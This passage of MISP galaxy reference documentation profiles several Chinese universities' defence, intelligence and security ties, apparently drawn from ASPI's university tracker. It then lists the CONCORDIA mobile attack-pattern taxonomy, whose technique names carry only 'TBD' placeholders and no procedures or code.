SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it come under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing.The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million).SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (□□□□□□□□□□), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world's fastest from 2013 to 2015.Aside from the supercomputer center, SYSU's Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology.In 2010, the university established a State Secrets Academy (□□□□□□), serving as the third university in China to establish such an institute in partnership with China's National Administration of State Secrets Protection (□□□□□). The Institute carries out research and training on the protection of state secrets.

The tag is: *misp-galaxy:china-defence-universities="Sun Yat-sen University (□□□□)"*

Table 840. Table References

Links
https://unitracker.aspi.org.au/universities/sun-yat-sen-university

Tianjin Polytechnic University (□□□□□□)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university's development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects.Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU's School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China's textile industry.

The tag is: *misp-galaxy:china-defence-universities="Tianjin Polytechnic University (□□□□□□)"*

Table 841. Table References

Links
https://unitracker.aspi.org.au/universities/tianjin-polytechnic-university

Tianjin University (□□□□)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of ‘secret’. It hosts two defence laboratories, working on optoelectronics and propellants.In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team.TJU carries out research for the Ministry of State Security (MSS), China’s civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.

The tag is: *misp-galaxy:china-defence-universities="Tianjin University (□□□□)"*

Table 842. Table References

Links
https://unitracker.aspi.org.au/universities/tianjin-university

Tongji University (□□□□)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea geology, which plays an important role in China’s deep-sea observation and serves as a significant platform for the country’s marine strategy.The university’s involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China’s marine industry.Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Tongji University (□□□□)"*

Table 843. Table References

Links
https://unitracker.aspi.org.au/universities/tongji-university

Tsinghua University (□□□□)

Tsinghua University is considered China’s leading university in science and technology. Often characterized as ‘China’s MIT,’ Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China’s C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields.Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its ‘fine tradition’ of serving China’s national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector.Tsinghua’s defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science.The university trains students for China’s nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program. In 2016, CAEP’s Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing.Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government’s National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA’s Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

The tag is: *misp-galaxy:china-defence-universities="Tsinghua University (□□□□)"*

Table 844. Table References

Links
https://unitracker.aspi.org.au/universities/tsinghua-university

University of Electronic Science and Technology of China (□□□□□□□)

UESTC was established in 1961 as one of China’s first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military’s leading electronics manufacturer, China Electronics Technology Group Corporation (CETC).The university is one of China’s leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them.UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy’s aircraft carrier program.UESTC’s defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectric imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million).UESTC’s research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps.UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC’s primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to developUESTC’s capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

The tag is: *misp-galaxy:china-defence-universities="University of Electronic Science and Technology of China (□□□□□□□□)"*

Table 845. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-electronic-science-and-technology-of-china

University of International Relations (□□□□□□□)

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities.Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (□□□□□□□□□□□). They include Geng Huichang (□□□), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate.UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence.The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

The tag is: *misp-galaxy:china-defence-universities="University of International Relations (□□□□□□□)"*

Table 846. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-international-relations

University of Science and Technology Beijing (□□□□□□)

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research.USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates. The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team.The university holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="University of Science and Technology Beijing (□□□□□□)"*

Table 847. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-beijing

University of Science and Technology of China (□□□□□□□□)

The University of Science and Technology of China is among China’s most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue “even more outstanding achievements in teaching and innovation.” It is a member of the C9 League and in the “211 Project” and “985 Project.” While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

The tag is: *misp-galaxy:china-defence-universities="University of Science and Technology of China (□□□□□□□□)"*

Table 848. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-of-china

University of Shanghai for Science and Technology (□□□□□□)

USST describes itself as a ‘university with defence characteristics’. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016.It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million).SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university’s defence research focuses on these areas.In 2017, The university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

The tag is: *misp-galaxy:china-defence-universities="University of Shanghai for Science and Technology (□□□□□□)"*

Table 849. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-shanghai-for-science-and-technology

University of South China (□□□□)

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate.USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="University of South China (□□□□)"*

Table 850. Table References

Links
https://unitracker.aspi.org.au/universities/university-of-south-china

Wuhan University (□□□□)

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’.WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system.Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.

The tag is: *misp-galaxy:china-defence-universities="Wuhan University (□□□□)"*

Table 851. Table References

Links
https://unitracker.aspi.org.au/universities/wuhan-university

Wuhan University of Technology (□□□□□□)

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials.The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. ‘In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (□□□□□□□□□□□□□□□□□□□□□□□□)’. The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (□□□□□□□□□□□□□□□), with ‘the goal of innovating mutually beneficial technologies.’

The tag is: *misp-galaxy:china-defence-universities="Wuhan University of Technology (□□□□□□)"*

Table 852. Table References

Links
https://unitracker.aspi.org.au/universities/wuhan-university-of-technology

Xi’an Jiaotong University (□□□□□□)

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Xi'an Jiaotong University (□□□□□□)"*

Table 853. Table References

Links
https://unitracker.aspi.org.au/universities/xian-jiaotong-university

Xi'an Technological University (□□□□□□□)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links.The university's main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons systems. It holds secret-level security credentials.XATU is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□□), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (□□). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

The tag is: *misp-galaxy:china-defence-universities="Xi'an Technological University (□□□□□□□)"*

Table 854. Table References

Links
https://unitracker.aspi.org.au/universities/xian-technological-university

Xi'an University of Posts and Telecommunications (□□□□□□□)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT's faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering.XUPT maintains close links to China's Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS's local counterparts.In November 2013, XUPT partnered with the Shaanxi Municipal Government's public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (□□□□□□□□□□□□□□□□□□□□□□). This was the first such joint laboratory that the MPS established with a university in any of China's five north-western provinces.XUPT partnered with Xi'an's Yanta District Public Security Bureau branch in November 2018, establishing the 'Joint Laboratory for Smart Public Security Information Analysis and Applications' (□□□□□□□□□□□□□□□□). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

The tag is: *misp-galaxy:china-defence-universities="Xi'an University of Posts and Telecommunications (□□□□□□□)"*

Table 855. Table References

Links
https://unitracker.aspi.org.au/universities/xian-university-of-posts-and-telecommunications

Xiamen University (□□□□)

XMU is one of China's leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supevision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to 'upgrade the university's ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.'In 2017, XMU allegedly conspired with Huawei to steal trade secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology.The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (□□□□□□□□□□) and People's Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (□□□□□□□□□□). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Xiamen University (□□□□)"*

Table 856. Table References

Links
https://unitracker.aspi.org.au/universities/xiamen-university

Xiangtan University (□□□□)

XTU is a university in Chairman Mao Zedong's hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two 'joint construction' agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university 'draw out its national defence characteristics'. In the university's own words, its 'military-civil fusion characteristics are becoming clearer with each day', and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018.XTU's defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China.XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Xiangtan University (□□□□)"*

Table 857. Table References

Links
https://unitracker.aspi.org.au/universities/xiangtan-university

Xidian University (□□□□□□□□)

Xidian Univeristy is among China’s top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has ‘made important contributions to military modernisation’.The university is closely tied to China’s defense industry and the PLA. It runs at least five defence laboratories and partners with the PLA’s signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian’s party secretary, the university has had an ‘unbreakable bond with secret intelligence work since its beginning’. It also holds secret-level security credentials that allow it to work on classified weapons projects.

The tag is: *misp-galaxy:china-defence-universities="Xidian University (□□□□□□□□)"*

Table 858. Table References

Links
https://unitracker.aspi.org.au/universities/xidian-university

Yanshan University (□□□□)

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND.YSU’s Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering.The university holds secret-level security credentials.

The tag is: *misp-galaxy:china-defence-universities="Yanshan University (□□□□)"*

Table 859. Table References

Links
https://unitracker.aspi.org.au/universities/yanshan-university

Yunnan Normal University (□□□□□□)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training teacher since its inception as the Kunming Teachers College (□□□□□□) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines.YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

The tag is: *misp-galaxy:china-defence-universities="Yunnan Normal University (□□□□□□)"*

Table 860. Table References

Links
https://unitracker.aspi.org.au/universities/yunnan-normal-university

Zhejiang University (□□□□)

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepend the university's involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects.The university's total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (□□□□□□□) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China's civilian intelligence agency.ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

The tag is: *misp-galaxy:china-defence-universities="Zhejiang University (□□□□)"*

Table 861. Table References

Links
https://unitracker.aspi.org.au/universities/zhejiang-university

CONCORDIA Mobile Modelling Framework - Attack Pattern

A list of Techniques in CONCORDIA Mobile Modelling Framework..

CONCORDIA Mobile Modelling Framework - Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Bernardo Santos, OsloMet (Norway) - Prof. Dr. Thanh van Do, Telenor Research (Norway) - Luis Barriga, Ericsson AB (Sweden) - Prof. Boning Feng, OsloMet (Norway) - Van Thuan Do, Wolffia AS (Norway) - Bruno Dzogovic, OsloMet (Norway) - Niels Jacot, Wolffia AS (Norway)

Active Scanning

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Active Scanning"*

Gather UE Identity Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Gather UE Identity Information"*

Gather UE Network Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Gather UE Network Information"*

Phishing for Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Phishing for Information"*

Social Media Reports

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Social Media Reports"*

Develop Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Develop Capabilities"*

Obtain Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Obtain Capabilities"*

Stage Capabilities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Stage Capabilities"*

Compromise Accounts

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Accounts"*

Acquire Infrastructure

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Acquire Infrastructure"*

Compromise Infrastructure

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Infrastructure"*

Exploit Public-Facing Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit Public-Facing Application"*

Malicious App from App Store

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Malicious App from App Store"*

Malicious App from Third Party

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Malicious App from Third Party"*

Masquerade as Legitimate Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Masquerade as Legitimate Application"*

Exploit via Charging Station or PC

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit via Charging Station or PC"*

Exploit via Radio Interfaces

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit via Radio Interfaces"*

Rogue Cellular Base Station

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Rogue Cellular Base Station"*

Insider attacks and human errors

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Insider attacks and human errors"*

Trusted Relationship

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Trusted Relationship"*

Supply Chain Compromise

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Supply Chain Compromise"*

Native Code

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Native Code"*

Scheduled Task/Job

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Scheduled Task/Job"*

Command-Line Interface

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Command-Line Interface"*

Command and Scripting Interpreter

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Command and Scripting Interpreter"*

Boot or Logon Autostart Execution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Boot or Logon Autostart Execution"*

Foreground Persistence

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Foreground Persistence"*

Modify Cached Executable Code

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Cached Executable Code"*

Compromise Application Executable

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Compromise Application Executable"*

Modify OS Kernel or Boot Partition

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify OS Kernel or Boot Partition"*

Event Triggered Execution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Event Triggered Execution"*

Spoofed radio network

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Spoofed radio network"*

Infecting network nodes

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Infecting network nodes"*

Code Injection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Code Injection"*

Process Injection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Process Injection"*

Masquerading

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Masquerading"*

Disguise Root/Jailbreak Indicators

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Disguise Root/Jailbreak Indicators"*

Evade Analysis Environment

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Evade Analysis Environment"*

Modify Trusted Execution Environment

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Trusted Execution Environment"*

Obfuscated Files or Information

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Obfuscated Files or Information"*

Suppress Application Icon

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Suppress Application Icon"*

Uninstall Malicious Application

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Uninstall Malicious Application"*

Install Insecure or Malicious Configuration

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Install Insecure or Malicious Configuration"*

Geofencing

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Geofencing"*

Shutdown Remote Device

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Shutdown Remote Device"*

Exploitation for Defense Evasion

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploitation for Defense Evasion"*

Security Audit Camouflage

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Security Audit Camouflage"*

Overload Avoidance

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Overload Avoidance"*

Traffic Distribution

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Traffic Distribution"*

URI Hijacking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="URI Hijacking"*

Modify Authentication Process

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Modify Authentication Process"*

Forced Authentication

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Forced Authentication"*

System Network Connections Discovery

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="System Network Connections Discovery"*

UE knocking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="UE knocking"*

Internal Resource Search

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Internal Resource Search"*

Network Sniffing

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Sniffing"*

Abusing Inter-working Functionalities

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Abusing Inter-working Functionalities"*

Replication Through SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through SMS"*

Replication Through Bluetooth

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through Bluetooth"*

Replication Through WLAN

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through WLAN"*

Replication Through IP

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Replication Through IP"*

Exploit platform & service specific vulnerabilites

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit platform & service specific vulnerabilites"*

Access Sensitive Data in Device Logs

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Access Sensitive Data in Device Logs"*

Network Traffic Capture or Redirection

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Traffic Capture or Redirection"*

Network-specific identifiers

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network-specific identifiers"*

Network-specific data

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network-specific data"*

Application Layer Protocol

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Application Layer Protocol"*

Communication via SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via SMS"*

Communication via Bluetooth

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via Bluetooth"*

Communication via WLAN

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Communication via WLAN"*

Exploit SS7 to Redirect Phone Calls/SMS

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS"*

Exploit SS7 to Track Device Location

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Track Device Location"*

SS7-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SS7-based attacks"*

Diameter-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Diameter-based attacks"*

GTP-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="GTP-based attacks"*

